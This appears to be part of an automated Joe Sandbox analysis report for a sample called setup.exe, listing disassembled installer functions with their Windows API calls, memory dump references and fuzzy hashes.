Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0b545a720d06a2780d8eb9310de1c164ea8e259f40aa19cdef3f662a7789f4d
Instruction ID: 868f2ec1f3ea74d7de1394d818727f69d5aca31e92bf34b5737afca42cfaef71
Opcode Fuzzy Hash: d0b545a720d06a2780d8eb9310de1c164ea8e259f40aa19cdef3f662a7789f4d
Instruction Fuzzy Hash: 6E913171D00229CBEF28CF98C8547ADBBB1FF44305F15812AD856BB281C7789A9ADF44

Uniqueness

Uniqueness Score: -1.00%

Function 0040647D Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ca4e82cbd918d9bc6f131d9bc7fd5d61b9600368ad5a57dd77e762cc9babb20
Instruction ID: e06b97397237a54a8f7c6fae7a0c48c933f493286525731b7b3672fa0d973436
Opcode Fuzzy Hash: 3ca4e82cbd918d9bc6f131d9bc7fd5d61b9600368ad5a57dd77e762cc9babb20
Instruction Fuzzy Hash: 678155B1D00229CFDF24CFA8C8447ADBBB1FB44305F25816AD456BB281D7789A96CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00405F82 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c94337aa44be19872a05e7fe324c1f72408cb83bc4afcb37e89916e28dd5cdb7
Instruction ID: 3ccfc7c80e99de65fa6db0e0edc8679980b1d0ea62cd2807200041591328ae3c
Opcode Fuzzy Hash: c94337aa44be19872a05e7fe324c1f72408cb83bc4afcb37e89916e28dd5cdb7
Instruction Fuzzy Hash: D98187B1D00229CBDF24CFA8C8447AEBBB1FB44305F11816AD856BB2C1C7785A96CF44

Uniqueness

Uniqueness Score: -1.00%

Function 004063D0 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 040a7e0d789931a885e98904e34fb369bef72c7c312577bd0d6f252efd828c84
Instruction ID: 235c9a1f152390887c8e3346b3cf8cf745e7d176c25095dba4735a56a8f4339d
Opcode Fuzzy Hash: 040a7e0d789931a885e98904e34fb369bef72c7c312577bd0d6f252efd828c84
Instruction Fuzzy Hash: 80714371D00229CBDF28CFA8C8447ADBBF1FB48305F15806AD846BB281D7395A96DF54

Uniqueness

Uniqueness Score: -1.00%

Function 004064EE Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55b1e8378e3b2d282ecc9e99db2cbf184c75cfe722202a43e2005f386b139382
Instruction ID: 067b91939e33353516387f96afd3df60e22fb0a2a23546be1218d687de4ca84d
Opcode Fuzzy Hash: 55b1e8378e3b2d282ecc9e99db2cbf184c75cfe722202a43e2005f386b139382
Instruction Fuzzy Hash: 14715371E00229CFEF28CF98C844BADBBB1FB44305F15816AD816BB281C7799996DF54

Uniqueness

Uniqueness Score: -1.00%

Function 0040643A Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c10b0ec6d8a1716373c4594016b158d4b4e2bf5790cbb1f15a9d43b973b4a336
Instruction ID: fa01dbb36adddbb747bc37ce8d7c8691094d52a97b4972d7f98645f49a39bfe1
Opcode Fuzzy Hash: c10b0ec6d8a1716373c4594016b158d4b4e2bf5790cbb1f15a9d43b973b4a336
Instruction Fuzzy Hash: B3715671D00229CBEF28CF98C844BADBBB1FF44305F11816AD856BB281C7795A56DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00401E1B Relevance: 4.5, APIs: 3, Instructions: 48synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00404F04: lstrlenA.KERNEL32(Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000,?), ref: 00404F3D
Part of subcall function 00404F04: lstrlenA.KERNEL32(00402C4A,Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000), ref: 00404F4D
Part of subcall function 00404F04: lstrcatA.KERNEL32(Completed,00402C4A,00402C4A,Completed,00000000,00000000,00000000), ref: 00404F60
Part of subcall function 00404F04: SetWindowTextA.USER32(Completed,Completed), ref: 00404F72
Part of subcall function 00404F04: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F98
Part of subcall function 00404F04: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FB2
Part of subcall function 00404F04: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FC0

Part of subcall function 004053C6: SearchPathW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004224A8,Error launching installer), ref: 004053EB
Part of subcall function 004053C6: CloseHandle.KERNEL32(?), ref: 004053F8

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00401E55
GetExitCodeProcess.KERNEL32(?,?), ref: 00401E65
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401E8A

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: MessageSend$CloseHandlelstrlen$CodeExitObjectPathProcessSearchSingleTextWaitWindowlstrcat
String ID:
API String ID: 1862049350-0
Opcode ID: 1fdde52640a539061ac3941da348919b66d20a0eed5ed07477821aeb51be007f
Instruction ID: 355628b0c836e6669011c6779fae97b23835f6d082b04fdd633ca662238f37b1
Opcode Fuzzy Hash: 1fdde52640a539061ac3941da348919b66d20a0eed5ed07477821aeb51be007f
Instruction Fuzzy Hash: 19019271D04215EBCF11AF91CD8599E7A75EB40358F20403BFA05B51E1C3794A82DBDE

Uniqueness

Uniqueness Score: -1.00%

Function 00402427 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B00: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00000022,00000000,?,?), ref: 00402B28

RegEnumKeyA.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402455
RegEnumValueA.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003), ref: 00402468
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsu8144.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 0040247D

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 7ee753624dbf1d18677495706af09138f056117853e35c5539aac98112ad9ba3
Instruction ID: ca0bea074700aed3f6d5cd19b6a76ded14fd7da9354d4d4a85815760a07b6232
Opcode Fuzzy Hash: 7ee753624dbf1d18677495706af09138f056117853e35c5539aac98112ad9ba3
Instruction Fuzzy Hash: 31F0A271A04201EFE715AF659E88EBB7A6CDB40398F10443FF406A61C0D6B85D42967A

Uniqueness

Uniqueness Score: -1.00%

Function 00402506 Relevance: 3.1, APIs: 2, Instructions: 79fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,00000001,?,?,?,00000002), ref: 00402552

Part of subcall function 00405AC4: wsprintfA.USER32 ref: 00405AD1

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: FileReadwsprintf
String ID:
API String ID: 3326442220-0
Opcode ID: f09489efe15c3b80ce99059f114ac931b0952256192e953ec66e22e0d2490737
Instruction ID: 6cc84ed2bafa7cfa1e138a8cf3ad7e95c15831b5a897215fce06e49f2d1c7330
Opcode Fuzzy Hash: f09489efe15c3b80ce99059f114ac931b0952256192e953ec66e22e0d2490737
Instruction Fuzzy Hash: 6821F870D05259BFCF219F648E595EEBBB49B01304F14817BE881B63D2D1BC8A81C72D

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 7b8e9ba5108b55dad21e1cb19ef7846daac3b048e1c883625bc8c045044f289d
Instruction ID: b71ad761f0ea07ecc4e6183a90c0cd8288537aab3e92bb5761005deb6e4a9b1f
Opcode Fuzzy Hash: 7b8e9ba5108b55dad21e1cb19ef7846daac3b048e1c883625bc8c045044f289d
Instruction Fuzzy Hash: 20014431B24210ABE7291B388D08B2A32ADE714315F10423FF801F32F0D678DC028B4C

Uniqueness

Uniqueness Score: -1.00%

Function 0040583D Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000003,00402CB5,C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe,80000000,00000003), ref: 00405841
CreateFileA.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405863

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6d56aff3fab625e069b8f0f4beb3d6c68df7a2746e2dd21b0a72e0224e52029a
Instruction ID: 90a47e22fdd321f70bf06df01bfdefa11f3e73682391c7296034eb3a8fe04f39
Opcode Fuzzy Hash: 6d56aff3fab625e069b8f0f4beb3d6c68df7a2746e2dd21b0a72e0224e52029a
Instruction Fuzzy Hash: 8CD09E31658301AFEF098F20DD1AF2E7AA2EB84B00F10562CB646940E0D6715815DB16

Uniqueness

Uniqueness Score: -1.00%

Function 0040581E Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,00405629,?,?,?), ref: 00405822
SetFileAttributesA.KERNEL32(?,00000000), ref: 00405834

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 499c41a265c8c72c251eb99c81a2d8ea197c0ca55525d81af5d9f53b6a62e1c9
Instruction ID: 89544605ef234ac14ed66c3b065a2d642d1346908a696065e0ba681aeed38476
Opcode Fuzzy Hash: 499c41a265c8c72c251eb99c81a2d8ea197c0ca55525d81af5d9f53b6a62e1c9
Instruction Fuzzy Hash: F8C04CB1808501ABD7056B24EF0D81F7B66EF50325B108B35F5A9E00F0C7355C66DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402B00 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(00000000,?,00000000,00000022,00000000,?,?), ref: 00402B28

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: b5dfad00fa1cd151fd60990f5b06a3c2bada7c6ed29f77274f64d0dacc55a64b
Instruction ID: c0cb2249de0b0b7c7cf81be38287cf815beb59390f5746c35b3b1e544e0707b9
Opcode Fuzzy Hash: b5dfad00fa1cd151fd60990f5b06a3c2bada7c6ed29f77274f64d0dacc55a64b
Instruction Fuzzy Hash: BFE08676640108BFDB50DFA4ED4BFD637ECB704340F008421B608D7091C678F5409B68

Uniqueness

Uniqueness Score: -1.00%

Function 004031BF Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00409130,00000000,00000000,00000000,00413040,0040B040,004030C4,00413040,00004000,?,00000000,?,00402F4E,00000004,00000000,00000000), ref: 004031D6

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 728267699a9b44ddad9e6e694247195ab13049bac6004c2e56fc09e99b3f0f19
Instruction ID: 4c5c04567c480c11bae84e94003d2882b37cb3083c3cc1db03504fe221b835f3
Opcode Fuzzy Hash: 728267699a9b44ddad9e6e694247195ab13049bac6004c2e56fc09e99b3f0f19
Instruction Fuzzy Hash: DAE08631500119BBCF215E619C00A973B5CEB09362F008033FA04E9190D532DB109BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00403F18 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetDlgItemTextA.USER32(?,?,00000000), ref: 00403F32

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: ItemText
String ID:
API String ID: 3367045223-0
Opcode ID: 3e813572aabfc24dd457d3397d8ae2cb884b5dfcfb659632984281e934c33c5c
Instruction ID: 32956ba5a052c000d200729fffd4f2c944d874cb1110b62223aa4bdd109d9e57
Opcode Fuzzy Hash: 3e813572aabfc24dd457d3397d8ae2cb884b5dfcfb659632984281e934c33c5c
Instruction Fuzzy Hash: E4C08C31048200BFD241AB04CC42F1FB3A8EFA0327F00C92EB05CE00D2C634D420CE2A

Uniqueness

Uniqueness Score: -1.00%

Function 00403F64 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(000204CA,00000000,00000000,00000000), ref: 00403F76

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 74a19277012f6d931596f598d2f6ffa2ec736fc7041dbb57cfa43a045af561dc
Instruction ID: 4934297729c285da13a483c37f1bad53b44c21571947472378d90217470b6476
Opcode Fuzzy Hash: 74a19277012f6d931596f598d2f6ffa2ec736fc7041dbb57cfa43a045af561dc
Instruction Fuzzy Hash: 6CC04C71B442017AEA209F619D45F177B68A754701F5444657204A51D0C674E510D61D

Uniqueness

Uniqueness Score: -1.00%

Function 00403F4D Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000028,?,00000001,00403D7E), ref: 00403F5B

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5380ca26047a56ac044db27ec5452a3d407db4c462228856e9187df95d64c5b6
Instruction ID: 0662716cb4741bc9db58cdf5bc89cb1196afa115b106f7c4ea820954fb206898
Opcode Fuzzy Hash: 5380ca26047a56ac044db27ec5452a3d407db4c462228856e9187df95d64c5b6
Instruction Fuzzy Hash: 17B09276685201BADA215B10DE09F457E62E764702F018064B204240B0C6B200A5DB09

Uniqueness

Uniqueness Score: -1.00%

Function 004031F1 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00402E9D,0000B5E4), ref: 004031FF

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 2028dafccfaa88a297be93e7ba1f52e009ec02dcd94d5fd44c1761bf2bffe23e
Instruction ID: eafd0aff1283cdec3023edec91852d87283cefa69c9b21bce59c6677f93a42a7
Opcode Fuzzy Hash: 2028dafccfaa88a297be93e7ba1f52e009ec02dcd94d5fd44c1761bf2bffe23e
Instruction Fuzzy Hash: 14B01271644200BFDB214F00DF06F057B21A790701F108030B344380F082712420EB1E

Uniqueness

Uniqueness Score: -1.00%

Function 00403F3A Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00403D17), ref: 00403F44

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
